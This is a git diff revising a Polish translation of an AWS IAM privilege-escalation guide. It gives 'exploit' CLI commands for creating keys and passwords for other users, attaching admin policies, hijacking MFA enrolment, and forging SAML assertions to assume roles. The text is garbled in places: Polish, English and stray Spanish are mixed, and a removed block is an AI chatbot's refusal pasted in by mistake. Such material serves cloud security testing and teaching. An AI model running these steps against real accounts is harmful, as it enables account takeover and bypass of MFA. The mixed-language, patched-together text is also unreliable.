Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-05-26 18:09:08 +00:00
parent 090c7da5ec
commit 3a073a1ea0
@@ -4,7 +4,7 @@
## IAM
Aby uzyskać więcej informacji o IAM, zobacz:
Aby uzyskać więcej informacji o IAM, sprawdź:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,85 +12,104 @@ Aby uzyskać więcej informacji o IAM, zobacz:
### **`iam:CreatePolicyVersion`**
Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień.
Przyznaje możliwość utworzenia nowej wersji policy IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` przez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
**Impact:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
### **`iam:SetDefaultPolicyVersion`**
Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
Umożliwia zmianę domyślnej wersji policy IAM na inną istniejącą wersję, potencjalnie eskalując uprawnienia, jeśli nowa wersja ma więcej uprawnień.
**Polecenie Bash:**
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Wpływ:** Pośrednia eskalacja uprawnień poprzez umożliwienie nadania dodatkowych uprawnień.
**Impact:** Pośrednia privilege escalation poprzez włączenie większej liczby uprawnień.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może doprowadzić do eskalacji uprawnień.
Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co prowadzi do potencjalnej privilege escalation.
**Wykorzystanie:**
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.
**Impact:** Bezpośrednia privilege escalation przez przyjęcie rozszerzonych uprawnień innego użytkownika.
Zwróć uwagę, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy:
Należy zauważyć, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować permission `iam:DeleteAccessKey`, aby usunąć jedną z nich i móc utworzyć nową:
```bash
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej przez MFA dla jego poświadczeń.
Jeśli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz skutecznie zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej MFA dla jego poświadczeń.
**Wymagania wstępne:**
Możesz użyć dowolnego narzędzia do kodów TOTP — oathtool jest proste i lekkie.
```bash
sudo apt install oathtool
sudo dnf install oathtool
sudo yum install oathtool
```
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
# Generate 2 consecutive TOTP codes from the seed
oathtool --base32 --totp "<Seed_Here>" -w 1
# Enable the new device for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień).
**Authenticate:**
Po uzyskaniu podstawowej sesji jako użytkownik docelowy możesz użyć security token service, aby uzyskać token oparty na MFA.
```bash
aws sts get-session-token --serial-number <device-arn> --token-code <code>
```
**Wpływ:** Bezpośrednia privilege escalation przez przejęcie enrolment MFA użytkownika (a następnie użycie jego permissions).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Pozwala na utworzenie lub aktualizację profilu logowania, w tym ustawienie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
Pozwala na tworzenie lub aktualizowanie login profile, w tym ustawianie passwords dla AWS console login, co prowadzi do bezpośredniej privilege escalation.
**Eksploit dla tworzenia:**
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit dla aktualizacji:**
**Exploit for Update:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako użytkownik "any".
**Impact:** Bezpośrednia privilege escalation przez zalogowanie się jako „dowolny” użytkownik.
### **`iam:UpdateAccessKey`**
Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
Pozwala włącz wyłączony access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony key.
**Eksploit:**
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys.
**Impact:** Bezpośrednia privilege escalation przez ponowne aktywowanie access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to poświadczenia w postaci **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie dana usługa je akceptuje.
Umożliwia generowanie lub resetowanie credentials dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to credentials **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie ta usługa je akceptuje.
**Tworzenie:**
**Creation:**
```bash
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
@@ -114,41 +133,41 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Uwaga: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je (URL-encode).
> Note: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je w URL.
W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli z repozytorium wydobędziesz **AWS access keys**, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (na przykład odczytaj flagę z Secrets Manager):
W tym momencie możesz odczytać wszystko, do czego użytkownik docelowy ma dostęp w CodeCommit (np. leakowany plik z credentials). Jeśli pobierzesz **AWS access keys** z repozytorium, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do resources (na przykład odczytaj flagę z Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Resetowanie:**
**Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impact:** Privilege escalation — uzyskanie uprawnień docelowego użytkownika dla danego serwisu (a potencjalnie dalej, jeśli pivot przy użyciu danych pozyskanych z tej usługi).
**Impact:** Eskalacja uprawnień do uprawnień użytkownika docelowego dla danej usługi (i potencjalnie dalej, jeśli pivotujesz używając danych pobranych z tej usługi).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez dziedziczenie uprawnień dołączonej polityki.
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia przez dziedziczenie uprawnień dołączonej polityki.
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit dla grupy:**
**Exploit dla Group:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje dana polityka.
**Wpływ:** Bezpośrednia privilege escalation do wszystkiego, co policy przyznaje.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Pozwala dołączać lub nadawać polityki rolom, użytkownikom lub grupom, co umożliwia bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.
Umożliwia attachowanie lub putting policy do roles, users lub groups, co pozwala na bezpośrednią privilege escalation przez nadanie dodatkowych permissions.
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit for Inline Policies:**
**Exploit dla Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -172,28 +191,28 @@ Możesz użyć polityki takiej jak:
]
}
```
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez nadanie dodatkowych uprawnień za pomocą polityk.
**Impact:** Bezpośrednia privilege escalation przez dodawanie uprawnień za pomocą policies.
### **`iam:AddUserToGroup`**
Pozwala na dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Wpływ:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.
**Impact:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.
### **`iam:UpdateAssumeRolePolicy`**
Pozwala na zmianę dokumentu assume role policy roli, umożliwiając przyjęcie roli i związanych z nią uprawnień.
Pozwala zmieniać dokument polityki assume role dla roli, umożliwiając przejęcie roli i jej powiązanych uprawnień.
**Eksploit:**
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli:
Gdzie polityka wygląda jak poniżej, co daje użytkownikowi uprawnienie do przyjęcia roli:
```json
{
"Version": "2012-10-17",
@@ -208,38 +227,38 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj
]
}
```
**Impact:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli.
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
**Eksploit do przesyłania klucza SSH:**
**Exploit dla SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit do dezaktywacji MFA:**
**Exploit dla deaktywacji MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Wpływ:** Indirect privilege escalation poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.
**Wpływ:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
### **`iam:ResyncMFADevice`**
Pozwala na ponowną synchronizację urządzenia MFA, co potencjalnie może prowadzić do indirect privilege escalation poprzez manipulację ochroną MFA.
Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA.
**Polecenie Bash:**
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** Pośrednie eskalowanie uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.
**Impact:** Pośrednia privilege escalation poprzez dodawanie lub manipulowanie urządzeniami MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby wykonać **login** na dowolną **rolę, która jej ufa**.
Z tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** do dowolnej **role that is trusting** it.
Zauważ, że wykonując to **legit users won't be able to login**. Jednak możesz pobrać XML, podmienić go na swój, login i przywrócić poprzednią konfigurację.
Pamiętaj, że jeśli to zrobisz, **legit users won't be able to login**. Jednak możesz pobrać XML, więc możesz wstawić własny, login i skonfigurować poprzedni back
```bash
# List SAMLs
aws iam list-saml-providers
@@ -257,7 +276,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
```
**Atak end-to-end:**
1. Wypisz providera SAML i rolę, która mu ufa:
1. Wylicz SAML provider i rolę, która mu ufa:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Sfałszuj metadane IdP + podpisane oświadczenie SAML dla pary rola/dostawca:
2. Forge metadane IdP + podpisany SAML assertion dla pary role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -289,7 +308,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Rozwijane: <code>/tmp/saml_forge.py</code> pomocnik (metadane + podpisane stwierdzenie)</summary>
<summary>Rozwijane: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
@@ -485,7 +504,7 @@ main()
```
</details>
3. Zaktualizuj metadane dostawcy SAML do certyfikatu IdP, przejmij rolę i użyj zwróconych poświadczeń STS:
3. Zaktualizuj metadane dostawcy SAML do swojego certyfikatu IdP, załóż rolę i użyj zwróconych poświadczeń STS:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -501,7 +520,7 @@ echo "Session expires at: $SESSION_EXP"
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Sprzątanie: przywróć poprzednie metadane:
4. Cleanup: przywróć poprzednie metadane:
```bash
python3 - <<'PY'
import json
@@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Aktualizacja metadanych dostawcy SAML jest destrukcyjna: dopóki twoje metadane są wprowadzone, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić.
> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających temu dostawcy.
(Nie jestem pewien co do tego) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby umożliwić logowanie do wszystkich ról ufających providerowi.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, co może prowadzić do eskalacji jego uprawnień — umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia.
To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia przez umożliwienie mu wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,22 +569,22 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić granicę uprawnień dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli przypisze zbyt liberalną granicę uprawnień — skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
Actor z `iam:PutRolePermissionsBoundary` może ustawić permissions boundary na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia boundary roli: może nieprawidłowo ograniczyć operacje (powodując disruption usługi) albo, jeśli dołączy permissive boundary, faktycznie rozszerzyć to, co rola może robić, i eskalować uprawnienia.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypisuje je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda (sekretu) tego urządzenia MFA kontrolowanego przez atakującego, generują prawidłowe jednorazowe hasła i żąda tokenu sesji uwierzytelnionego MFA przez STS. Pozwala to atakującemu spełnić wymóg MFA i uzyskać tymczasowe poświadczenia jako ofiara, skutecznie przejmując konto mimo wymuszonego MFA.
Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypina je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Używając seed tego kontrolowanego przez atakującego MFA, generuje poprawne jednorazowe hasła i żąda tokenu sesji uwierzytelnionej przez MFA za pośrednictwem STS. Pozwala to atakującemu spełnić wymaganie MFA i uzyskać tymczasowe credentials jako ofiara, skutecznie przejmując konto, mimo że MFA jest wymuszone.
Jeśli docelowy użytkownik ma już skonfigurowane MFA, dezaktywuj je (`iam:DeactivateMFADevice`):
Jeśli docelowy użytkownik ma już MFA, dezaktywuj je (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Utwórz nowe virtual MFA device (zapisuje seed do pliku)
Utwórz nowe wirtualne urządzenie MFA (zapisuje seed do pliku)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
@@ -592,7 +611,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Włącz MFA device dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:
Włącz urządzenie MFA dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -600,47 +619,7 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
I cant generate a live STS/MFA token code for an account I dont control. I can, however, show how to generate one yourself and how to use it with AWS STS.
How to generate a TOTP (MFA) code locally
- Using oathtool (Linux/macOS):
- Install: apt/yum/brew install oathtool
- Command: oathtool --totp -b "BASE32SECRET"
- Replace BASE32SECRET with your MFA device secret (BASE32). This prints the current 6-digit TOTP.
- Using Python + pyotp:
- Install: pip install pyotp
- Command: python -c 'import pyotp; print(pyotp.TOTP("BASE32SECRET").now())'
- Replace BASE32SECRET with your actual BASE32 secret.
Notes:
- The secret must be the one provisioned to your MFA device/account.
- Ensure system clock is accurate (NTP) — time drift causes invalid codes.
- Do not use secrets or codes that arent yours.
How to use the code with AWS CLI (GetSessionToken)
- Example command (replace placeholders):
aws sts get-session-token \
--serial-number arn:aws:iam::123456789012:mfa/your-user \
--token-code 123456 \
--duration-seconds 3600
- Replace:
- arn:... with your MFA device serial (or user ARN)
- 123456 with the TOTP you generated
- duration-seconds as needed (default/limits apply)
- Example of the response structure (placeholder values):
{
"Credentials": {
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY",
"SessionToken": "IQoJb3JpZ2luX2VjEJr...",
"Expiration": "2026-03-31T12:34:56Z"
}
}
If you need help generating a code from a specific tool or troubleshooting a failed GetSessionToken call (error messages, clock skew), tell me which tool/command and the error (omit sensitive secrets), and I can help debug.
Wygeneruj aktualny kod tokena (dla STS)
```python
import base64, hmac, hashlib, struct, time
@@ -655,7 +634,7 @@ o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Skopiuj wyświetloną wartość jako TOKEN_CODE i poproś o token sesji z MFA (STS):
Skopiuj wypisaną wartość jako TOKEN_CODE i zażądaj tokenu sesji z MFA (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \